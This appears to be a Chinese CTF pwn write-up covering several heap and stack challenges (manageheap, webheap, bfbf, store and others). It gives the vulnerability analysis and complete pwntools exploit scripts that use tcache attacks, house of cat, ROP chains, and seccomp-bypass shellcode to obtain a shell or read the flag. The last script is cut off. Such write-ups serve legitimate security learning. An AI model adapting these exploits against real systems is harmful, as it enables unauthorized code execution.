def write_to_pipe(size,data):
cmd(2)
p.sendlineafter("read size>\n",str(size))
p.sendlineafter("input>",data)

def make_file(path):
cmd(3)
p.sendlineafter("**File path>",path)

def read_file(path,size):
cmd(4)
p.sendlineafter("**File path>",path)
p.sendlineafter("**size?>",size)

def write():
cmd(5)

def close():
cmd(6)

#debug()
p.sendlineafter("file path>","./ctf.sh")

payload = "cat flag\n"
write_to_pipe(len(payload),payload)
write()
close()

p.interactive()

manageheap

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35.\n
1
2
3
4
5
6
manageheap: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=b988b53575c5a8324331c1b492940f6098e71ace, stripped'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
num = LODWORD(chunk_list[index]->num);
if ( i > num )
break;
if ( !strcmp(&chunk_list[index]->chunk_data[8 * i], id) )
{
read(0, &chunk_list[index]->chunk_data[8 * i], 8uLL);
puts("change done.");
return 1LL;
}
  • i==num 时,有8字节的溢出

入侵思路

先利用8字节的溢出来修改 chunk->size,释放后获得 unsorted chunk,接下来执行一次申请操作,泄露出遗留在 chunk 中的 main_arena 和 tcache->next

然后打 tcache attack,把 IO_list_all 写入 tcachebin 中,这里有两个注意点:

  • libc-2.34 及其以上版本会设置 key 值,利用如下公式就可以绕过:
1
2
key = heap_base // 0x1000
target = IO_list_all^key
  • 劫持目标 tcachebin 之前,需要先看看 tcache head->count 的值够不够申请到 IO_list_all(当对应 count 为“0”时,程序将不会申请该 tcachebin 上的 free chunk),比赛时就考虑漏了这个问题,导致 IO_list_all 申请不出来,浪费了很长的时间

在高版本 libc 中,最终劫持控制流的手段就那么几种,比赛时我使用了 house of cat

接下来就是标准的 house of cat 了,IO 流可以如下代码进行触发:

1
2
3
4
5
if ( !read(0, chunk_list[i]->chunk_data, 8 * LODWORD(chunk_list[i]->num)) )
{
puts("something error!");
exit(1);
}
  • 当输入的 chunk_list[i]->num 为“0”时,read 就会执行失败
  • 然后调用 exit 触发 house of cat

由于本题目没有沙盒,我的第一反应是直接写 one_gadget,后来打远程时环境不对,只能用 system("/bin/sh")

当时不知道怎么控制程序的参数,幸好 house of cat 触发后直接执行了 system("aaaaaaaa"),于是我把所有的 "aaaaaaaa" 替换为 "/bin/sh" 然后就 getshell 了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
from pwn import *

arch = 64
challenge = './manageheap1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

#elf = ELF(challenge)
libc = ELF('libc.so.6')

cmd = "set debug-file-directory ./.debug/\n"
#cmd += "b *$rebase(0x1868)\n"

local = 0
if local:
#p = gdb.debug(challenge,cmd)
p = process(challenge)
else:
p = remote('172.16.159.33','58012')

def cmd(i):
p.sendlineafter("Your Choice: ",str(i))

def add(number,name,id):
cmd(1)
p.sendlineafter("please input your major's number:",str(number))
p.sendafter("please input your name:",name)
p.sendafter("> \n",id)

def dele(index):
cmd(2)
p.sendlineafter("input your idx:",str(index))

def show(index):
cmd(3)
p.sendlineafter("input your idx:",str(index))

def edit(index,id):
cmd(4)
p.sendlineafter("input your idx:",str(index))
p.sendafter("please input your id:",id)

add(0x7,"a"*8,"/bin/sh\x00"*0x7)
add(0x7,"a"*8,"/bin/sh\x00"*0x7)
add(0x7,"a"*8,"/bin/sh\x00"*0x7)
add(0x7,"a"*8,"/bin/sh\x00"*0x7)
add(0x50,"a"*8,"/bin/sh\x00"*0x7)
add(0x50,"a"*8,"/bin/sh\x00"*0x7)
add(0x50,"a"*8,"/bin/sh\x00"*0x7)
edit(2,p64(0x31))
p.send(p64(0x621))

dele(0)
dele(1)
dele(3)
add(8,"a"*0x10,"\n")
show(0)

p.recvuntil("aaaaaaaaaaaaaaaa")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr-0x3f0
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

p.recvuntil("Member: ")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x21a10a
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

IO_list_all = libc_base + libc.sym["_IO_list_all"]
_IO_wfile_jumps = libc_base + libc.sym["_IO_wfile_jumps"]
libc_puts = libc_base + libc.sym["puts"]
success("IO_list_all >> "+hex(IO_list_all))
success("_IO_wfile_jumps >> "+hex(_IO_wfile_jumps))

main_arena1 = libc_base + 0x219c0a
main_arena2 = libc_base + 0x219ce0
success("main_arena1 >> "+hex(main_arena1))
success("main_arena2 >> "+hex(main_arena2))

pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_rbx_ret = libc_base + 0x0000000000090529

key = heap_base // 0x1000
success("key >> "+hex(key))
success("IO_list_all^key >> "+hex(IO_list_all^key))

one_gadgets = [0x50a37,0xebcf1,0xebcf5,0xebcf8]
one_gadget = one_gadgets[0] + libc_base
libc_system = libc_base + libc.sym["system"]
success("one_gadget >> "+hex(one_gadget))
success("libc_system >> "+hex(libc_system))

target_chunk = heap_base + 0x340
target = target_chunk ^ key

edit(0,p64(target))
p.sendline(p64(IO_list_all^key))

next_chain = 0
fake_io_addr = heap_base + 0x430
payload_addr = heap_base
flag_addr = heap_base

fake_IO_FILE = "/bin/sh\x00" #_flags=rdi
fake_IO_FILE += p64(0)*5
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(payload_addr-0xa0)#_IO_backup_base=rdx
fake_IO_FILE += p64(libc_system)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(flag_addr) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE += p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xb0, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, '\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x30) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addr

add(0x50,"cccccccc",fake_IO_FILE)
add(6,"cccccccc","cccccccc")

dele(0)
add(6,"cccc",p64(fake_io_addr))
dele(6)
cmd(1)

p.sendlineafter("please input your major's number:",str(0))
p.sendafter("please input your name:","win")

p.interactive()

PS:菜鸡 pwn 手的第一个3血

badshell

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.\n
1
2
3
4
5
6
badshell: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7b723a1405c35735c73c5600c68ee2c53b2a1f33, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

入侵思路

本题目没有做出来,比赛时没有时间做了,赛后复现找不到 wp 也很头痛

cpp 的堆环境很乱,并且逆向出来也很难看,暂时没有找到漏洞点,但通过遗留在 unsorted chunk 中的 main_arena 指针,和遗留在 tcache chunk 中的 next 指针,可以完成泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
touch("1")
touch("2")
mkdir("3")

echo("a","p"*0x780)
echo("2","c")
cat("2")

leak_addr = u64(p.recvuntil("\x7f").ljust(8,"\x00"))
libc_base = leak_addr - 0x1ed063
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym["__free_hook"]
success("free_hook >> "+hex(free_hook))

echo("2","c"*0x11)
cat("2")

p.recvuntil("c"*0x10)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x12a63
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

但程序只要执行过一次 echo 后(必须成功写入数据),再次执行 touchmkdir 都会报错

暂时只能完成泄露了,找不到漏洞点

pwn1 ~ pwn1-1 ~ pwn2-1

这3个题比较简单,就直接放 exp 了:

pwn1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

arch = 64
challenge = './pwn1'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.27.so')

local = 0
if local:
p = process(challenge)
else:
p = remote('172.51.221.145', '9999')

def debug():
#gdb.attach(p,"b* \n")
gdb.attach(p,"b *$rebase(0xB19)\n")
pause()

#debug()

p.sendline(str(1))
p.recvuntil("You will find some tricks\n")
leak_addr = eval(p.recvuntil("\n")[:-1])
proc_base = leak_addr - 0xA94
system = 0xA2C + proc_base
binsh = 0x202068 + proc_base
pop_rdi = 0x0000000000000c73 + proc_base

success("leak_addr >> "+hex(leak_addr))
success("proc_base >> "+hex(proc_base))
success("system >> "+hex(system))

p.sendline(str(2))
payload = "%33$p"
p.sendline(payload)

p.recvuntil("hello\n")
canary = eval(p.recvuntil("\n")[:-1])
success("canary >> "+hex(canary))

payload = 'a'*200 + p64(canary) + p64(0) + p64(pop_rdi) + p64(binsh) + p64(system)
p.send(payload)

p.interactive()

pwn1-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *

arch = 64
challenge = './pwn1-1'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.27.so')

local = 0
if local:
p = process(challenge)
else:
p = remote('172.51.221.131','9999')

def debug():
#gdb.attach(p,"b* \n")
gdb.attach(p,"b *$rebase(0x153C)\nb *$rebase(0x1423)\n")
pause()

#debug()

p.sendline(str(1))
p.recvuntil("You will find some tricks\n")
leak_addr = eval(p.recvuntil("\n")[:-1])
proc_base = leak_addr - 0x12a0
system = 0x11A2 + proc_base
binsh = 0x4050+ proc_base
pop_rdi = 0x0000000000001943 + proc_base

success("leak_addr >> "+hex(leak_addr))
success("proc_base >> "+hex(proc_base))
success("system >> "+hex(system))

p.sendline(str(2))

payload = 'b'*(0xd0) + p64(proc_base + 0x4060 )
payload = payload.ljust(0xd0-1,"a")+p64(proc_base + 0x4060)*4+ p64(pop_rdi) + p64(binsh) + p64(system)
p.send(payload)

p.interactive()

pwn2-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

arch = 64
challenge = './pwn2-1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
#libc = ELF('libc-2.27.so')

local = 0
if local:
p = process(challenge)
else:
p = remote('172.51.221.20','9999')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1B0A)\n")
#pause()

def choice(ch):
p.sendlineafter("Your choice :",str(ch))


def add(size,content):
choice(1)
p.sendlineafter("Note size :",str(size))
p.sendlineafter("Content :",str(content))

def dele(index):
choice(2)
p.sendlineafter("Index :",str(index))

def show(index):
choice(3)
p.sendlineafter("Index :",str(index))

#debug()

p.sendline(str(5))
p.recvuntil("Your choice :let us give you some tips\n")
leak_addr = eval(p.recvuntil("\n")[:-1])
pro_base = leak_addr - 0x11f0
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

catflag = 0x1B70+pro_base
chunk_list = 0x40A0+pro_base
success("chunk_list >> "+hex(chunk_list))

add(0x18,"a")
add(0x28,"a")
dele(0)
dele(1)
add(0x18,p64(catflag))
show(0)

p.interactive()

webheap

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.
1
2
3
4
5
6
webheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=27dde4c970e713a66d152d11040e93cccb362625, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

cpp 反序列化 -> python 序列化

程序实现了反序列化读入

  • 内存里存的数据不通用,不同系统不同语言的组织可能都是不一样的
  • 序列化的二进制数据是通过一定的协议将数据字段进行拼接
    • 第一个优势是:不同的语言都可以遵循这种协议进行解析,实现了跨语言
    • 第二个优势是:这种数据可以直接持久化到磁盘,从磁盘读取后也可以通过这个协议解析出来

如果要想使用网络框架的 API 来传输结构化的数据,必须得先实现 [结构化的数据] 与 [字节流] 之间的双向转换,这种将结构化数据转换成字节流的过程,称为序列化,反过来转换,就是反序列化

本题目用 cpp 来实现反序列化,难点就在逆向的过程,要在一堆很难看的 cpp 代码中找到“编码格式”(目标地址为“0x45A8”)

  • 我对于 cpp 的逆向不是很熟悉,但在比赛的过程中也收获了一些 cpp 的逆向技巧(之后总结一下)
  • 以后有机会写一个反序列化的 cpp 程序,然后拖 IDA 分析一下

这种题目的关键就在于:根据反序列化的代码,来推导实现序列化的 python 脚本

漏洞分析

1
2
3
4
5
6
void __fastcall dele(unsigned __int64 index)
{
if ( index > 0xF )
exit(-1);
free((void *)chunk_list[index]); // UAF
}
  • 有 UAF

入侵思路

当逆向工作完成之后,可以根据程序的反序列化过程,写出序列化的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def setuint(x):
if x>=0 and x<=0x7f:
return p8(0x80)+p8(x)
elif x>=0x80 and x<=0x7fff:
return p8(0x81)+p16(x)
elif x>=0x8000 and x<=0x7fffffff:
return p8(0x82)+p32(x)
elif x>=0x80000000 and x<=0x7fffffffffffffff:
return p8(0x83)+p64(x)

def setint(x):
if x >= 0 and x <= 0xff:
return p8(0x84)+p8(x)
elif x>=0x100 and x<=0xffff:
return p8(0x85)+p16(x)
elif x>=0x10000 and x<=0xffffffff:
return p8(0x86)+p32(x)

def send_code(op, idx, size, num1,num2):
payload = p8(0xb9) + p8(0x05)
payload += setint(op) + setuint(idx) +setuint(size) + '\xBD'+setuint(num1)+p8(0)+setuint(num2)
sla('Packet length: ',str(len(payload)))
sa('Content:', payload)

def add(idx,size):
return send_code(0,idx,size,0,0)

def show(idx):
return send_code(1,idx,0,0,0)

def delete(idx):
return send_code(2,idx,0,0,0)

def edit(idx,cont):
payload = p8(0xb9) + p8(0x05)
payload += p8(3) +p8(idx) + p8(0x30) + '\xBD'+p8(6)+p64(cont)
sla('Packet length: ', str(len(payload)))
sa('Content:', payload)

利用 UAF 完成泄露以后,就打 tcache attack,尝试申请 free_hook,然后修改为 system 就可以了

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *

arch = 64
challenge = './webheap'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

local = 1
if local:
p = process(challenge)
else:
p = remote('chuj.top', '9999')

def debug():
#gdb.attach(p,"b* \n")
gdb.attach(p,"b *$rebase(0x4918)\n")
pause()

def setuint(x):
if x>=0 and x<=0x7f:
return p8(0x80)+p8(x)
elif x>=0x80 and x<=0x7fff:
return p8(0x81)+p16(x)
elif x>=0x8000 and x<=0x7fffffff:
return p8(0x82)+p32(x)
elif x>=0x80000000 and x<=0x7fffffffffffffff:
return p8(0x83)+p64(x)

def setint(x):
if x >= 0 and x <= 0xff:
return p8(0x84)+p8(x)
elif x>=0x100 and x<=0xffff:
return p8(0x85)+p16(x)
elif x>=0x10000 and x<=0xffffffff:
return p8(0x86)+p32(x)

def send_code(op, idx, size, num1,num2):
payload = p8(0xb9) + p8(0x05)
payload += setint(op) + setuint(idx) +setuint(size) + '\xBD'+setuint(num1)+p8(0)+setuint(num2)
p.sendlineafter('Packet length: ',str(len(payload)))
p.sendlineafter('Content:', payload)

def add(idx,size):
return send_code(0,idx,size,0,0)

def show(idx):
return send_code(1,idx,0,0,0)

def delete(idx):
return send_code(2,idx,0,0,0)

def edit(idx,cont):
payload = p8(0xb9) + p8(0x05)
payload += p8(3) +p8(idx) + p8(0x30) + '\xBD'+p8(6)+p64(cont)
p.sendlineafter('Packet length: ', str(len(payload)))
p.sendlineafter('Content:', payload)

add(0,0x440)
add(1,0x30)
delete(0)
show(0)

libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']

one_gadgets = [0x4f2a5,0x4f302,0x10a2fc]
one_gadget = libcbase + one_gadgets[2]

success("libcbase >> "+hex(libcbase))
success("system >> "+hex(system))
success("free_hook >> "+hex(free_hook))
success("one_gadget >> "+hex(one_gadget))

delete(1)
edit(1,free_hook)
add(2,0x30)
add(3,0x30)
edit(2,0x6873)
edit(3,system)
delete(2)

p.interactive()

bfbf

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.8) stable release version 2.31.\n
1
2
3
4
5
6
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e3bffe1cec71dcd6694ca6bd031a59f4855b9b86, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
9
10
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x02 0x00000000 if (A != read) goto 0006
0004: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0005: 0x25 0x01 0x00 0x00000001 if (A > 0x1) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
  • 限制了 read(其实也 ban 了 execve,但这里没有显示)

漏洞分析

题目就是想模仿 Brainfuck 语言

1
2
3
4
5
6
7
  char buf[520]; // [rsp+10h] [rbp-210h] BYREF
......
case 5:
write(1, &buf[i], 1uLL);
goto break;
case 6:
buf[i] = getchar();
  • 没有对“i”进行限制
  • 利用 “.” 和 “>” 的配合可以实现 leak
  • 利用 “,” 和 “>” 的配合可以覆盖 ret

入侵思路

泄露完整之后,直接覆盖返回地址为 ORW 的变种

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

arch = 64
challenge = './pwn'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

local = 0
if local:
p = process(challenge)
else:
p = remote('172.51.221.205', '9999')


def debug():
# gdb.attach(p)
gdb.attach(p,"b *$rebase(0x18CD)\n")
# pause()


payload = b'>'*(512+5*8) + b'.>' * 7 + b'.'
payload += b'>'*(1*8) + b'.>' * 7 + b'.'
payload += b'<'*(4*8-1+7)+b',>'*0xb8 + b'./flag\x00\x00'
# debug()
p.send(payload)

heapbase = u64(p.recvuntil(b'\x56')[-6:].ljust(8, b'\x00'))-0x2a0
#debug()
log.success("heapbase: "+hex(heapbase))

sleep(0.5)
libc.address = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-0x24083
log.success("libc.address: "+hex(libc.address))

open_addr = libc.symbols['open']
read_addr = libc.symbols['read']
write_addr = libc.symbols['write']
flag_addr = 0x684+heapbase
pop_rax_ret=libc.address+0x0000000000036174
pop_rdi_ret=libc.address+0x0000000000023b6a
pop_rsi_ret=libc.address+0x000000000002601f
pop_rdx_ret=libc.address+0x0000000000142c92
syscall_ret=libc.address+0x630a9

payload = p64(pop_rax_ret) + p64(3)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(syscall_ret)

payload += p64(pop_rdi_ret) + p64(flag_addr)
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(syscall_ret)

payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(heapbase)
payload += p64(pop_rdx_ret) + p64(0x30)
payload += p64(libc.sym['read'])

payload += p64(pop_rdi_ret) + p64(1)
payload += p64(libc.sym['write'])
payload += p64(libc.sym['_exit'])

p.send(payload)

p.interactive()

store

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31.
1
2
3
4
5
6
store: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=cd388e748e0640343faaa81f9d2a6fccd07ff729, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
➜  store seccomp-tools dump ./store                
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0e 0xc000003e if (A != ARCH_X86_64) goto 0016
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x13 0xffffffff if (A != 0xffffffff) goto 0024
0005: 0x15 0x11 0x00 0x0000000c if (A == brk) goto 0023
0006: 0x15 0x10 0x00 0x00000000 if (A == read) goto 0023
0007: 0x15 0x0f 0x00 0x00000001 if (A == write) goto 0023
0008: 0x15 0x0e 0x00 0x00000005 if (A == fstat) goto 0023
0009: 0x15 0x0d 0x00 0x0000000a if (A == mprotect) goto 0023
0010: 0x15 0x0c 0x00 0x0000003c if (A == exit) goto 0023
0011: 0x15 0x0b 0x00 0x0000005a if (A == chmod) goto 0023
0012: 0x15 0x0a 0x00 0x0000008c if (A == getpriority) goto 0023
0013: 0x15 0x09 0x00 0x0000008d if (A == setpriority) goto 0023
0014: 0x15 0x08 0x00 0x000000c0 if (A == lgetxattr) goto 0023
0015: 0x15 0x07 0x08 0x000000e6 if (A == clock_nanosleep) goto 0023 else goto 0024
0016: 0x15 0x00 0x07 0x40000003 if (A != ARCH_I386) goto 0024
0017: 0x20 0x00 0x00 0x00000000 A = sys_number
0018: 0x15 0x04 0x00 0x00000005 if (A == fstat) goto 0023
0019: 0x15 0x03 0x00 0x0000005a if (A == chmod) goto 0023
0020: 0x15 0x02 0x00 0x0000008c if (A == getpriority) goto 0023
0021: 0x15 0x01 0x00 0x0000008d if (A == setpriority) goto 0023
0022: 0x15 0x00 0x01 0x000000c0 if (A != lgetxattr) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL

漏洞分析

1
2
3
4
5
6
if ( free_num )                            
{
free((&chunk_list)[index]); // UAF
--free_num;
puts("success!\n");
}
  • UAF

入侵思路

本题目的限制如下:

  • 只能控制申请的头两个 chunk
  • 限制释放次数为4次

虽然只能控制申请的头两个 chunk,但还是可以完成 largebin attack

于是我们先进行泄露,然后用 largebin attack 劫持 _IO_list_all,接下来有两种思路:

  • house of cat
  • house of apple

House Of Cat

house of cat 的常规调用链为:

1
sysmalloc -> __malloc_assert -> __fxprintf -> locked_vfxprintf -> __vfprintf_internal ->  _IO_wfile_seekoff
  • 使 top chunk 不足以申请从而调用 sysmalloc

直接调用 exit 则会触发另一条调用链:

1
__GI_exit -> __run_exit_handlers -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wfile_seekoff
  • 直接 exit 就好,不用破坏堆结构

在本题目中需要注意两个问题:

  • 程序的沙盒禁止了 open
  • “flag”文件的名称未知

当不知道程序名称时,我们需要用 getdents 进行操作:

  • 先执行 open('.',0) 打开当前目录
  • 然后执行 getdents(3, buf, 0x200)

opengetdents 都被 ban 了,但是对应32位的 opengetdents 没有 ban

  • sys_fstat-0x5 => open-0x5
  • sys_setpriority-0x8D => getdents-0x8D

Shellcode 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
shellcode = asm(
'''
mov rax, 0xc0
mov rbx, 0x500000
mov rcx, 0x5000
mov rdx, 3
mov rsi, 1048610
xor rdi, rdi
xor rbp, rbp
int 0x80

mov rdi, 0
mov rsi, 0x502000
mov rdx, 0x100
xor rax, rax
syscall

mov rax, 5
mov rbx, 0x502000
xor rcx, rcx
xor rdx, rdx
int 0x80

mov rax, 0x8d
mov rbx, 3
mov rcx, 0x502000
mov rdx, 0x200
int 0x80

mov rdi, 1
mov rax, 1
mov rsi ,0x502000
mov rdx ,0x200
syscall
''', arch='amd64')
  • 这里先使用32位的 mmap2 申请一片空间
  • 使用 read 读入“.”
  • 然后依次执行32位的 opengetdents
  • 最后用 write 打印出来

找到 “flag” 文件以后,对 shellcode 修改一下就可以了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
from pwn import *

arch = 64
challenge = './store'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

local = 1
if local:
p = process(challenge)
else:
p = remote('172.51.221.20','9999')

def debug():
gdb.attach(p,"set debug-file-directory ./debug\n")
#gdb.attach(p,"b *$rebase(0x1B0A)\n")
pause()

def choice(ch):
p.sendlineafter("choice: ",str(ch))

def add(size,content,remark):
choice(1)
p.sendlineafter("Size: ",str(size))
p.sendlineafter("Content:",str(content))
p.sendlineafter("Remark:",str(remark))

def add2(size):
choice(1)
p.sendlineafter("Size: ",str(size))

def dele(index):
choice(2)
p.sendlineafter("Index: ",str(index))

def edit(index,content,remark):
choice(3)
p.sendlineafter("Index: ",str(index))
p.sendafter("Content:",str(content))
p.sendafter("Remark:",str(remark))

def show(index):
choice(4)
p.sendlineafter("Index: ",str(index))

#debug()
add(0x450,"a"*0x10,"a"*0x10) # unsortedbin
add(0x460,"a"*0x10,"") # largebin
dele(1)
show(1)

p.recvuntil("Content: \n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x1ecbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

add2(0x500)
dele(0)
edit(1,"b"*0x18,"b"*0x18)
show(1)

p.recvuntil("b"*0x18)
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0xb50
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

free_hook = libc_base + libc.sym["__free_hook"]
setcontext = libc_base + libc.sym["setcontext"]
_IO_list_all = libc_base + libc.sym['_IO_list_all']
mprotect = libc_base + libc.sym['mprotect']
